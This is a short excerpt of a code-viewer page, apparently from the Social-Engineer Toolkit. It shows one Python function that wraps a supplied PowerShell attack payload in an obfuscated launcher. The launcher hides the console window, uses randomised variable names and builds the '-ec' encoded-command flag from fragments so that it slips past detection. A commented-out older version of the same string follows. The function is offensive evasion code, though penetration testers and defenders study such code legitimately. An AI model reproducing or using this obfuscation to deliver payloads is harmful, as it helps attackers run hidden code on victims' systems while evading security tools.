(ps_attack)
| 2055 | # this will create an obfsucated powershell encoded command string to be |
| 2056 | # used through SET |
| 2057 | def powershell_encodedcommand(ps_attack): |
| 2058 | ran1 = generate_random_string(1, 2) |
| 2059 | ran2 = generate_random_string(1, 2) |
| 2060 | ran3 = generate_random_string(1, 2) |
| 2061 | ran4 = generate_random_string(1, 2) |
| 2062 | full_attack = ('powershell -w 1 -C "sv {0} -;sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());powershell (gv {5}).value.toString() \''.format(ran1, ran2, ran3, ran1, ran2, ran3) + ps_attack + '\'"') |
| 2063 | return full_attack |
| 2064 | # 'powershell -w 1 -C "sv %s -;sv %s ec;sv %s ((gv %s).value.toString()+(gv %s).value.toString());powershell (gv %s).value.toString() "' % (ran1, ran2, ran3, ran1, ran2, ran3) |
no test coverage detected